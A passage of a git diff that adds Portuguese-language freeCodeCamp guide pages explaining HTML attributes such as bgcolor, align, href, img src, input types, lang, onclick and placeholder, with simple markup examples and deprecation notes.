+Este é um atributo HTML5.
+
+#### Mais Informações:
+
+[Atributo de autofoco HTML](https://www.w3schools.com/tags/att_autofocus.asp) em w3schools.com
+
+[Atributo autofocus <input>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input) em documentos da Web do MDN
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/body-background-attribute/index.md b/client/src/guide/portuguese/html/attributes/body-background-attribute/index.md
new file mode 100644
index 0000000000..c9f0c46c2c
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/body-background-attribute/index.md
@@ -0,0 +1,35 @@
+---
+title: Body Background Attribute
+localeTitle: Atributo de fundo do corpo
+---
+## Atributo de fundo do corpo
+
+Se você deseja adicionar uma imagem de plano de fundo em vez de uma cor, uma solução é o atributo `<body background>` . Especifica uma imagem de fundo para um documento HTML.
+
+Sintaxe:
+
+`<body background="URL">`
+
+Atributo:
+
+`background - URL for background image`
+
+Exemplo:
+
+```html
+
+<html> 
+  <body background="https://assets.digitalocean.com/blog/static/hacktoberfest-is-back/hero.png"> 
+  </body> 
+ </html> 
+```
+
+## o atributo body-background é depreciado
+
+o atributo body-background foi descontinuado em HTML5. A maneira correta de estilizar a tag `<body>` é com CSS.
+
+Existem várias propriedades CSS usadas para definir o plano de fundo de um elemento. Estes podem ser usados ​​em para definir o plano de fundo de uma página inteira.
+
+## Confira:
+
+*   [Fundo de CSS](https://github.com/freeCodeCamp/guides/blob/master/src/pages/css/background/index.md)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/body-bgcolor-attribute/index.md b/client/src/guide/portuguese/html/attributes/body-bgcolor-attribute/index.md
new file mode 100644
index 0000000000..bce789d36e
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/body-bgcolor-attribute/index.md
@@ -0,0 +1,45 @@
+---
+title: Body Bgcolor Attribute
+localeTitle: Atributo Body Bgcolor
+---
+## Atributo Body Bgcolor
+
+O atributo `<body bgcolor>` atribui uma cor de fundo para um documento HTML.
+
+**Sintaxe** :
+
+`<body bgcolor="color">` O valor da cor pode ser um nome de cor (como, `purple` ) ou um valor hexadecimal (como `#af0000` ).
+
+Para adicionar uma cor de fundo a uma página da Web, você pode usar o atributo `<body bgcolor="######">` . Especifica uma cor para o documento HTML para exibir.
+
+**Por exemplo:**
+
+```html
+
+<html> 
+  <head> 
+    <title>Body bgcolor Attribute example</title> 
+  </head> 
+  <body bgcolor="#afafaf"> 
+    <h1>This webpage has colored background.</h1> 
+  </body> 
+ </html> 
+```
+
+Você pode alterar a cor substituindo ###### por um valor hexadecimal. Para cores simples, você também pode usar a palavra, como "vermelho" ou "preto".
+
+Todos os principais navegadores suportam o atributo `<body bgcolor>` .
+
+_Nota:_
+
+*   O HTML 5 não suporta o atributo `<body bgcolor>` . Use CSS para essa finalidade. Como? Usando o seguinte código: `<body style="background-color: color">` Claro, você também pode fazer isso em um documento separado, em vez de um método in-line.
+    
+*   Não use o valor RGB no atributo `<body bgcolor>` porque o `rgb()` é apenas para CSS, ou seja, não funcionará em HTML.
+    
+
+**Veja em ação:** https://repl.it/Mwht/2
+
+**Outros recursos:**
+
+*   Nomes de cores HTML: https://www.w3schools.com/colors/colors\_names.asp
+*   Propriedade de cor de fundo CSS: https://www.w3schools.com/cssref/pr\_background-color.asp
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/div-align-attribute/index.md b/client/src/guide/portuguese/html/attributes/div-align-attribute/index.md
new file mode 100644
index 0000000000..fccfe7159a
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/div-align-attribute/index.md
@@ -0,0 +1,47 @@
+---
+title: Div Align Attribute
+localeTitle: Div Alinhar Atributo
+---
+## Div alinhar atributos
+
+O `<div align="">` atributo é usado para alinhar o texto de uma tag div para a esquerda, direita, centro ou justificar.
+
+Por exemplo:
+
+```html
+
+<html> 
+ <head> 
+ <title> Div Align Attribbute </title> 
+ </head> 
+ <body> 
+ <div align="left"> 
+ Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. 
+ </div> 
+ <div align="right"> 
+ Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. 
+ </div> 
+ <div align="center"> 
+ Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. 
+ </div> 
+ <div align="justify"> 
+ Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. 
+ </div> 
+ </body> 
+ </html> 
+```
+
+## Importante!
+
+Este atributo não é mais suportado em HTML5. CSS é o caminho a percorrer.
+
+O atributo DIV alinhamento pode ser utilizada para alinhar horizontalmente o conteúdo dentro de um div. No exemplo abaixo, o texto será centrado dentro do div.
+
+```html
+
+<div align="center"> 
+  This Text Will Be Centered 
+ </div> 
+```
+
+\*\* Este atributo não é suportado em HTML5 e [texto CSS Align](https://github.com/freeCodeCamp/guides/blob/f50b7370be514b2a03ee707cd0f0febe2bb713ae/src/pages/css/text-align/index.md) deve ser usado em vez
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/font-color-attribute/index.md b/client/src/guide/portuguese/html/attributes/font-color-attribute/index.md
new file mode 100644
index 0000000000..3f97711209
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/font-color-attribute/index.md
@@ -0,0 +1,55 @@
+---
+title: Font Color Attribute
+localeTitle: Atributo de cor da fonte
+---
+## Atributo de cor da fonte
+
+Este atributo é usado para definir uma cor para o texto contido em uma tag `<font>` .
+
+### Sintaxe:
+
+\`\` html \`\` \`
+
+### Importante:
+
+Este atributo não é suportado em HTML5. Em vez disso, este [artigo freeCodeCamp](https://guide.freecodecamp.org/css/colors) especifica um método CSS, que pode ser usado.
+
+### Nota:
+
+Uma cor também pode ser especificada usando um 'código hex' ou um 'código rgb', em vez de usar um nome.
+
+### Exemplo:
+
+1.  Atributo de nome de cor
+
+```html
+
+<html> 
+  <body> 
+   <font color="green">Font color example using color attribute</font> 
+ </body> 
+ </html> 
+```
+
+2.  Atributo de código hexadecimal
+
+```html
+
+<html> 
+  <body> 
+   <font color="#00FF00">Font color example using color attribute</font> 
+  </body> 
+ </html> 
+```
+
+3.  Atributo RGB
+
+```html
+
+<html> 
+  <body> 
+    <font color="rgb(0,255,0)">Font color example using color attribute</font> 
+  </body> 
+ </html> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/font-size-attribute/index.md b/client/src/guide/portuguese/html/attributes/font-size-attribute/index.md
new file mode 100644
index 0000000000..165280e6bf
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/font-size-attribute/index.md
@@ -0,0 +1,24 @@
+---
+title: Font Size Attribute
+localeTitle: Atributo de Tamanho da Fonte
+---
+## Atributo de Tamanho da Fonte
+
+Este atributo especifica o tamanho da fonte como um valor numérico ou relativo. Os valores numéricos variam de `1` a `7` sendo `1` o menor e `3` o padrão. Ele também pode ser definido usando um valor relativo, como `+2` ou `-3` , que o define em relação ao valor do atributo size do elemento `<basefont>` ou relativo a `3` , o valor padrão, se nenhum existir.
+
+Sintaxe:
+
+`<font size="number">`
+
+Exemplo:
+
+```html
+
+<html> 
+  <body> 
+    <font size="6">This is some text!</font> 
+  </body> 
+ </html> 
+```
+
+Nota: `The size attribute of <font> is not supported in HTML5. Use CSS instead.`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/href-attribute/index.md b/client/src/guide/portuguese/html/attributes/href-attribute/index.md
new file mode 100644
index 0000000000..fc81009a1d
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/href-attribute/index.md
@@ -0,0 +1,26 @@
+---
+title: Href Attribute
+localeTitle: Atributo Href
+---
+## Atributo Href
+
+Href é a abreviação de "Hypertext Reference" e é um atributo HTML. O atributo href é usado principalmente para as tags `<a>` para especificar o URL de uma página da web que o link leva (seja em uma seção diferente da mesma página ou em uma página da Web completamente diferente).
+
+#### Como usar
+
+`<a href="URL"></a>`
+
+#### Exemplos
+
+```html
+
+<a href="https://www.freecodecamp.org">This is an absolute URL</a> 
+ 
+ <a href="index.html">This is a relative URL</a> 
+```
+
+#### Mais Informações:
+
+[W3Schools](https://www.w3schools.com/tags/att_href.asp)
+
+[HTMLElementReference](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/href/index.md b/client/src/guide/portuguese/html/attributes/href/index.md
new file mode 100644
index 0000000000..0ab285ea86
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/href/index.md
@@ -0,0 +1,56 @@
+---
+title: Href
+localeTitle: Href
+---
+## Href
+
+Referência de hipertexto (HREF) é um atributo HTML que você usa para especificar um destino de link ou URL (Uniform Resource Locator). Normalmente você verá o atributo HREF emparelhado com uma tag de âncora `<a>` .
+
+O atributo HREF obtém o significado exato de um link, dependendo do elemento que o está usando. Por exemplo, ao usar a tag `<a>` , ela está fazendo referência ao local de um objeto express como um URL. Ao usar o atributo HREF com a tag `<image>` , o atributo HREF faz referência ao URL da imagem a ser renderizada.
+
+### Exemplos:
+
+Link para a página inicial do Google:
+
+\-> O texto "Visite a página do Google funciona como o link para a página inicial
+
+```html
+
+<a href="https://www.google.com">Visit Google's Homepage</a> 
+```
+
+Imagem como um Link:
+
+\-> Logotipo do Google que se refere à página inicial do Google
+
+```html
+
+<a href="https://www.google.com"> 
+ <img border="0" alt="Google" src="https://www.google.com/logos/doodles/2015/googles-new-logo-5078286822539264.3-hp2x.gif" width="100" height="100"> 
+```
+
+Tags que usam o HREF:
+
+```html
+
+<a> 
+ <area> 
+ <base> 
+ <cursor> 
+ <discard> 
+ <feImage> 
+ <hatch> 
+ <image> 
+ <link> 
+ <mesh> 
+ <meshgradient> 
+ <mpath> 
+ <pattern> 
+ <script> 
+ <textPath> 
+ <use> 
+```
+
+#### Mais Informações:
+
+[WTF é uma href mesmo assim](https://tomayko.com/blog/2008/wtf-is-an-href-anyway) [MDN](https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/href)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/img-align-attribute/index.md b/client/src/guide/portuguese/html/attributes/img-align-attribute/index.md
new file mode 100644
index 0000000000..daec12f3ae
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/img-align-attribute/index.md
@@ -0,0 +1,42 @@
+---
+title: Img Align Attribute
+localeTitle: Img Align Attribute
+---
+## Img Align Attribute
+
+O atributo de alinhamento de uma imagem especifica onde a imagem deve ser alinhada de acordo com o elemento circundante.
+
+Valores de Atributo:  
+à direita - Alinhar imagem à direita esquerda - Alinhar imagem à esquerda  
+parte superior - Alinhar imagem ao topo  
+parte inferior - Alinhar imagem ao fundo  
+meio - Alinhar imagem ao meio
+
+Por exemplo:
+
+```html
+
+<!DOCTYPE html> 
+ <html lang="en"> 
+  <head> 
+   <title>Img Align Attribute</title> 
+ </head> 
+ <body> 
+  <p>This is an example. <img src="image.png" alt="Image" align="middle"> More text right here 
+  <img src="image.png" alt="Image" width="100"/> 
+  </body> 
+ </html> 
+```
+
+Também podemos nos alinhar corretamente se quisermos:
+
+```html
+
+<p>This is another example<img src="image.png" alt="Image" align="right"></p> 
+```
+
+**Observe que o atributo align não é suportado em HTML5 e você deve usar CSS. No entanto, ainda é suportado por todos os principais navegadores.**
+
+#### Mais Informações:
+
+[Artigo do MDN sobre a tag img e seus atributos](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/img-src-attribute/index.md b/client/src/guide/portuguese/html/attributes/img-src-attribute/index.md
new file mode 100644
index 0000000000..abe647b953
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/img-src-attribute/index.md
@@ -0,0 +1,42 @@
+---
+title: Img Src Attribute
+localeTitle: Img Src Atributo
+---
+## Img Src Atributo
+
+O atributo `<img src>` refere-se à origem da imagem que você deseja exibir. A tag `img` não exibirá uma imagem sem o atributo `src` . No entanto, se você definir a fonte para o local da imagem, poderá exibir qualquer imagem.
+
+Há uma imagem do logotipo freeCodeCamp, localizado em `https://avatars0.githubusercontent.com/u/9892522?v=4&s=400`
+
+Você pode definir isso como a imagem usando o atributo `src` .
+
+```html
+
+<html> 
+  <head> 
+    <title>Img Src Attribute Example</title> 
+  </head> 
+  <body> 
+    <img src="https://avatars0.githubusercontent.com/u/9892522?v=4&s=400"> 
+  </body> 
+ </html> 
+```
+
+O código acima é exibido assim:
+
+![O avatar freeCodeCamp](https://avatars0.githubusercontent.com/u/9892522?v=4&s=400?raw=true)
+
+O atributo `src` é suportado por todos os navegadores.
+
+Você também pode ter um arquivo hospedado localmente como sua imagem.
+
+Por exemplo, `<img src="images/freeCodeCamp.jpeg>` funcionaria se você tivesse uma pasta chamada `images` que tivesse o `freeCodeCamp.jpeg` dentro, desde que a pasta 'images' estivesse no mesmo local que o arquivo `index.html` .
+
+`../files/index.html`
+
+`..files/images/freeCodeCamp.jpeg`
+
+### Mais Informações:
+
+*   [HTML.com](https://html.com/attributes/img-src/)
+*   [Escolas W3](https://www.w3schools.com/tags/att_img_src.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/img-width-attribute/index.md b/client/src/guide/portuguese/html/attributes/img-width-attribute/index.md
new file mode 100644
index 0000000000..b1900b6aa2
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/img-width-attribute/index.md
@@ -0,0 +1,28 @@
+---
+title: Img Width Attribute
+localeTitle: Atributo Img Width
+---
+## Atributo Img Width
+
+O atributo "largura" do HTML se refere à largura de uma imagem. O valor nas cotações é a quantidade de pixels.
+
+Por exemplo, se você já tiver um link para uma imagem configurada por meio do atributo `src` poderá adicionar o atributo width da seguinte forma:
+
+```html
+
+<!DOCTYPE html> 
+ <html lang="en"> 
+  <head> 
+    <title>Img Width Attribute</title> 
+  </head> 
+  <body> 
+    <img src="image.png" alt="Image" width="100"/> 
+  </body> 
+ </html> 
+```
+
+No snippet de código acima, há uma tag de imagem e a imagem é definida para uma largura de 100 pixels. `width="100"`
+
+#### Mais Informações:
+
+[Artigo do MDN sobre a tag img](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/index.md b/client/src/guide/portuguese/html/attributes/index.md
new file mode 100644
index 0000000000..db3ed22ab8
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/index.md
@@ -0,0 +1,42 @@
+---
+title: Attributes
+localeTitle: Atributos
+---
+# Atributos HTML
+
+Elementos HTML podem ter atributos, que contêm informações adicionais sobre o elemento.
+
+Os atributos HTML geralmente vêm em pares nome-valor e sempre vão na tag de abertura de um elemento. O nome do atributo diz que tipo de informação você está fornecendo sobre o elemento e o valor do atributo é a informação real.
+
+Por exemplo, um elemento de âncora ( `<a>` ) em um documento HTML cria links para outras páginas ou outras partes da página. Você usa o atributo `href` na tag de abertura `<a>` para informar ao navegador onde o link envia um usuário.
+
+Aqui está um exemplo de um link que envia os usuários para a página inicial do freeCodeCamp:
+
+```html
+
+<a href="www.freecodecamp.org">Click here to go to freeCodeCamp!</a> 
+```
+
+Observe que o nome do atributo ( `href` ) e o valor ("www.freeCodeCamp.org") são separados por um sinal de igual e aspas envolvem o valor.
+
+Existem muitos atributos HTML diferentes, mas a maioria deles só funciona em determinados elementos HTML. Por exemplo, o atributo `href` não funcionará se for colocado em uma tag de abertura `<h1>` .
+
+No exemplo acima, o valor fornecido para o atributo `href` pode ser qualquer link válido. No entanto, alguns atributos têm apenas um conjunto de opções válidas que você pode usar ou os valores precisam estar em um formato específico. O atributo `lang` informa ao navegador o idioma padrão do conteúdo em um elemento HTML. Os valores para o `lang` atributo deve usar linguagem ou códigos de países, padrão, tais como `en` para Inglês, ou `it` para o italiano.
+
+## Atributos booleanos
+
+Alguns atributos HTML não precisam de um valor porque eles têm apenas uma opção. Estes são chamados de atributos booleanos. A presença do atributo em uma tag será aplicada a esse elemento HTML. No entanto, não há problema em escrever o nome do atributo e defini-lo como igual à única opção do valor. Nesse caso, o valor geralmente é o mesmo que o nome do atributo.
+
+Por exemplo, o elemento `<input>` em um formulário pode ter um atributo `required` . Isso requer que os usuários preencham esse item antes de poderem enviar o formulário.
+
+Aqui estão exemplos que fazem a mesma coisa:
+
+```html
+
+<input type="text" required > 
+ <input type="text" required="required" > 
+```
+
+## Outros recursos
+
+[Links HTML](#) [Atributo Href](#) [Atributo Lang](#) [Elemento de entrada HTML](#) [Atributo Obrigatório](#)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/input-checked-attribute/index.md b/client/src/guide/portuguese/html/attributes/input-checked-attribute/index.md
new file mode 100644
index 0000000000..b4dd1e20eb
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/input-checked-attribute/index.md
@@ -0,0 +1,26 @@
+---
+title: Input Checked Attribute
+localeTitle: Atributo Verificado de Entrada
+---
+## Atributo Verificado de Entrada
+
+O atributo checked é um atributo booleano.
+
+Quando presente, especifica que um  elemento deve ser pré-selecionado (marcado) quando a página é carregada.
+
+O atributo verificado pode ser usado com  e  .
+
+O atributo verificado também pode ser definido após o carregamento da página, por meio do JavaScript.
+
+## Dê uma olhada no seguinte exemplo:
+
+```html
+
+<form action="/action_page.php"> 
+  <input type="checkbox" name="vehicle" value="Bike"> I have a bike<br> 
+  <input type="checkbox" name="vehicle" value="Car" checked> I have a car<br> 
+  <input type="submit" value="Submit"> 
+ </form> 
+```
+
+No exemplo acima, quando a página da Web é carregada por padrão, a primeira caixa de seleção será automaticamente selecionada devido ao atributo marcado.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/input-type-attribute/index.md b/client/src/guide/portuguese/html/attributes/input-type-attribute/index.md
new file mode 100644
index 0000000000..99c54584dd
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/input-type-attribute/index.md
@@ -0,0 +1,116 @@
+---
+title: Input Type Attribute
+localeTitle: Atributo de tipo de entrada
+---
+## Atributo de tipo de entrada
+
+O atributo de tipo de entrada especifica o tipo de entrada que o usuário deve colocar em seu formulário.
+
+### texto
+
+Uma linha de um texto.
+
+```html
+
+    <form> 
+      <label for="login">Login:</label> 
+      <input type="text" name="login"> 
+    </form> 
+```
+
+### senha
+
+Uma linha de um texto. O texto é exibido automaticamente como uma série de pontos ou asteriscos (depende do navegador e do sistema operacional).
+
+```html
+
+    <form> 
+      <label for="password">Password:</label> 
+      <input type="password" name="password"> 
+    </form> 
+```
+
+### o email
+
+O HTML verifica se a entrada corresponde ao formato do endereço de e-mail (alguma coisa @ alguma coisa).
+
+```html
+
+    <form> 
+      <label for="email">E-mail address:</label> 
+      <input type="email" name="email"> 
+    </form> 
+```
+
+### número
+
+Permitir apenas entrada numérica. Você também pode especificar o valor mínimo e máximo permitido. O exemplo abaixo verifica se a entrada é um número entre 1 e 120.
+
+```html
+
+    <form> 
+      <label for="age">Age:</label> 
+      <input type="number" name="age" min="1" max="120"> 
+    </form> 
+```
+
+### rádio
+
+Apenas uma opção pode ser selecionada pelo usuário. O grupo de botões de opção precisa ter o mesmo atributo de nome. Você pode selecionar automaticamente uma opção usando a propriedade `checked` (no exemplo abaixo do valor Azul está selecionado).
+
+```html
+
+    <form> 
+      <label><input type="radio" name="color" value="red">Red</label> 
+      <label><input type="radio" name="color" value="green">Green</label> 
+      <label><input type="radio" name="color" value="blue" checked>Blue</label> 
+    </form> 
+```
+
+### caixa de seleção
+
+O usuário pode selecionar zero ou mais opções no grupo de caixas de seleção. Você também pode usar a propriedade `checked` aqui para uma ou mais opções.
+
+```html
+
+    <form> 
+      <label><input type="checkbox" name="lang" value="english">english</label> 
+      <label><input type="checkbox" name="lang" value="spanish">spanish</label> 
+      <label><input type="checkbox" name="lang" value="french">french</label> 
+    </form> 
+```
+
+### botão
+
+A entrada é exibida como botão, o texto que deve ser exibido no botão está no atributo value.
+
+```html
+
+    <form> 
+      <input type="button" value="click here"> 
+    </form> 
+```
+
+### enviar
+
+Exibe o botão de envio. O texto que deve ser exibido no botão está no atributo value. Depois de clicar no botão, o HTML faz a validação e, se passar, o formulário é submetido.
+
+```html
+
+    <form> 
+      <input type="submit" value="SUBMIT"> 
+    </form> 
+```
+
+### restabelecer
+
+Exibe o botão de reset. O texto que deve ser exibido no botão está no atributo value. Depois de clicar no botão, todos os valores do formulário são excluídos.
+
+```html
+
+    <form> 
+      <input type="reset" value="CANCEL"> 
+    </form> 
+```
+
+Existem mais tipos de elementos. Para mais informações visite MSDN ou w3schools .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/input/index.md b/client/src/guide/portuguese/html/attributes/input/index.md
new file mode 100644
index 0000000000..078850f556
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/input/index.md
@@ -0,0 +1,43 @@
+---
+title: Input
+localeTitle: Entrada
+---
+## Entrada
+
+A tag HTML `<input>` é usada em um formulário para declarar um elemento de entrada. Permite ao usuário inserir dados.
+
+## Exemplo
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+ 
+   <head> 
+      <title>HTML input Tag</title> 
+   </head> 
+ 
+   <body> 
+      <form action = "/cgi-bin/hello_get.cgi" method = "get"> 
+         First name: 
+            <input type = "text" name = "first_name" value = "" maxlength = "100" /> 
+            <br /> 
+ 
+         Last name: 
+            <input type = "text" name = "last_name" value = "" maxlength = "100" /> 
+         <input type = "submit" value = "Submit" /> 
+      </form> 
+   </body> 
+ 
+ </html> 
+```
+
+No exemplo acima, existem dois campos de entrada que solicitam ao usuário que insira seus nomes e sobrenomes de acordo com as etiquetas especificadas. O envio `<button type="submit">` é outro tipo de entrada que é usado para levar os dados inseridos pelo usuário no formulário e enviá-los para algum outro local especificado no código.
+
+#### Mais Informações:
+
+[Youtube](https://www.youtube.com/watch?v=qJ9ZkxmVf5s)
+
+## Entrada
+
+A tag HTML `<input>` é de vários tipos para inserir dados. Alguns deles são: Tipo: Texto (Este é o tipo mais comum que é usado para criar caixas de texto gerais) Tipo: Senha (Esse tipo é usado para criação de campos de senha) Tipo: Oculto (Esse é um tipo especial de Entrada que não é mostrado para o usuário, mas é usado para passar informações de uma página para outra enquanto usa a tag)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/lang/index.md b/client/src/guide/portuguese/html/attributes/lang/index.md
new file mode 100644
index 0000000000..a6bb25dec2
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/lang/index.md
@@ -0,0 +1,28 @@
+---
+title: Lang
+localeTitle: Lang
+---
+## Lang
+
+Em HTML, a tag Lang é usada para declarar o idioma do todo ou parte de uma página da web.
+
+### Exemplos
+
+```html
+
+<html lang="en"> 
+ </html> 
+```
+
+O atributo lang também pode ser usado para especificar o idioma de um elemento específico:
+
+```html
+
+<p lang="hi"> 
+  फ्री कोड कैंप 
+ </p> 
+```
+
+No exemplo acima, "hi" denota a língua hindi. Da mesma forma, você pode usar "en" para inglês, "es" para espanhol, "fr" para francês e assim por diante.
+
+Consulte a [ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes) para obter o código de idioma de dois dígitos apropriado.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/links/index.md b/client/src/guide/portuguese/html/attributes/links/index.md
new file mode 100644
index 0000000000..3bd6831fd9
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/links/index.md
@@ -0,0 +1,43 @@
+---
+title: Links
+localeTitle: Links
+---
+## Links
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/html/attributes/links/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+Os links são usados ​​em toda a web, com o objetivo de direcionar usuários a vários itens de conteúdo. Eles geralmente são indicados pelo cursor se transformando em um ícone de mão. Os links podem ser textos, imagens ou outros elementos contidos em seu HTML ou página da web.
+
+Você usa uma tag de `code <a>` ou um elemento de âncora para definir seu link, que também precisa de um endereço de destino que você acessará com o atributo `code href` . Aqui está um trecho que faz da frase "o guia FreeCodeCamp" um link:
+
+```html
+
+<a href="https://guide.freecodecamp.org">the freeCodeCamp Guide</a> 
+```
+
+Se quiser que seu link seja aberto em uma nova guia, você usará o atributo `code target` junto com o `code "_blank"` dentro da tag de `code <a>` abertura `code <a>` . Isso parece assim:
+
+```html
+
+<a href="https://guide.freecodecamp.org" target="_blank">the freeCodeCamp Guide</a> 
+```
+
+Quando você precisa guiar os usuários para uma parte específica da sua página da web, vamos assumir a parte inferior, primeiro você precisa atribuir o símbolo `code #` hash ao atributo `code href` , como este
+
+```html
+
+<a href="#footer>More about us<a/> 
+```
+
+você precisará usar um atributo de `code id` no elemento para o qual deseja direcionar o usuário - nesse caso, o `code <footer>` na parte inferior da página da Web.
+
+```html
+
+<footer id="footer">Powered by freeCodeCamp</footer> 
+```
+
+#### Mais Informações:
+
+[w3sschools - Links HTML](https://www.w3schools.com/html/html_links.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/onclick-event-attribute/index.md b/client/src/guide/portuguese/html/attributes/onclick-event-attribute/index.md
new file mode 100644
index 0000000000..29e29ebed5
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/onclick-event-attribute/index.md
@@ -0,0 +1,43 @@
+---
+title: Onclick Event Attribute
+localeTitle: Atributo do Evento Onclick
+---
+## Atributo do Evento Onclick
+
+Quando o elemento é clicado, é acionado um evento.
+
+Funciona exatamente como o _método onclick_ ou o `addEventListener('click')` no elemento.
+
+```html
+
+<element onclick="event"></element> 
+```
+
+> `event` pode ser uma função JavaScript ou você pode escrever JavaScript bruto
+
+### Exemplos
+
+Alterando a cor de um elemento `<p>` quando clicado
+
+```html
+
+<p id="text" onclick="redify()">Change my color</p> 
+ 
+ <script> 
+ function redify(){ 
+  let text = document.querySelector('#text'); 
+  text.style.color = "red"; 
+ } 
+ </script> 
+```
+
+Usando o atributo onclick de JavaScript bruto:
+
+```html
+
+<button onclick="alert('Hello')">Hello World</button> 
+```
+
+#### Mais Informações:
+
+*   [MDN](https://developer.mozilla.org/pt-BR/docs/Web/API/GlobalEventHandlers/onclick)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/p-align-attribute/index.md b/client/src/guide/portuguese/html/attributes/p-align-attribute/index.md
new file mode 100644
index 0000000000..effab8ea16
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/p-align-attribute/index.md
@@ -0,0 +1,42 @@
+---
+title: P Align Attribute
+localeTitle: P Alinhar Atributo
+---
+## P Alinhar Atributo
+
+### Importante
+
+Este atributo não é suportado em HTML5. Recomenda-se usar a [propriedade CSS `text-align`](https://guide.freecodecamp.org/css/text-align) .
+
+Para alinhar o texto dentro de uma tag `<p>` , esse atributo ajudará.
+
+### Sintaxe
+
+```html
+
+<p align="position">Lorem Ipsum...</p> 
+```
+
+### Atributos
+
+*   **à esquerda** - o texto alinha à esquerda
+*   **à direita** - o texto alinha à direita
+*   **center** - o texto alinha-se ao centro
+*   **justificar** - Todas as linhas de texto têm largura igual
+
+### Exemplo
+
+```html
+
+<html> 
+ <body> 
+ <p align="center">Paragraph align attribute example</p> 
+ </body> 
+ </html> 
+```
+
+#### Mais Informações:
+
+*   [`text-align` CSS](https://guide.freecodecamp.org/css/text-align)
+*   [W3 - especificação HTML 4.01](https://www.w3.org/TR/html401/struct/text.html#h-9.3.1)
+*   [MDN - Alinhamento de texto CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/text-align)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/placeholder-attribute/index.md b/client/src/guide/portuguese/html/attributes/placeholder-attribute/index.md
new file mode 100644
index 0000000000..ac82560c88
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/placeholder-attribute/index.md
@@ -0,0 +1,38 @@
+---
+title: Placeholder Attribute
+localeTitle: Atributo de espaço reservado
+---
+## Atributo de espaço reservado | HTML5
+
+Especifica uma dica curta que descreve o valor esperado de um controle de formulário `<input>` ou `<textarea>` .
+
+O atributo de espaço reservado não deve conter retornos de carro ou feeds de linha.
+
+Observação: não use o atributo de espaço reservado em vez de um elemento <label>, suas finalidades são diferentes. O atributo <label> descreve a função do elemento de formulário (isto é, indica que tipo de informação é esperado) e o atributo de espaço reservado é uma sugestão sobre o formato que o conteúdo deve tomar.
+
+### Exemplo
+
+Exemplo de entrada
+
+```html
+
+<form> 
+    <input type="text" name="fname" placeholder="First Name"> 
+    <input type="text" name="lname" placeholder="Last Name"> 
+ </form> 
+```
+
+Exemplo de Textarea
+
+```html
+
+<textarea placeholder="Describe yourself here..."></textarea> 
+```
+
+### Compatibilidade
+
+Este é um atributo HTML5.
+
+#### Mais Informações:
+
+[Atributo de espaço reservado](https://www.w3schools.com/tags/att_placeholder.asp) em [HTML](https://www.w3schools.com/tags/att_placeholder.asp) em w3schools.com
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/required/index.md b/client/src/guide/portuguese/html/attributes/required/index.md
new file mode 100644
index 0000000000..fdab5f47fa
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/required/index.md
@@ -0,0 +1,56 @@
+---
+title: Required
+localeTitle: Requeridos
+---
+## Requeridos
+
+O atributo HTML requerido é usado em um elemento input para fazer o campo de entrada em um formulário requerido para submeter o formulário. Se o usuário não preencher o campo de entrada, o formulário não será enviado e ele enviará uma mensagem solicitando ao usuário que preencha o campo. O atributo `< Required>` é aplicável a `<input>` , `<select>` , `<textarea>` .
+
+Por exemplo:
+
+```html
+
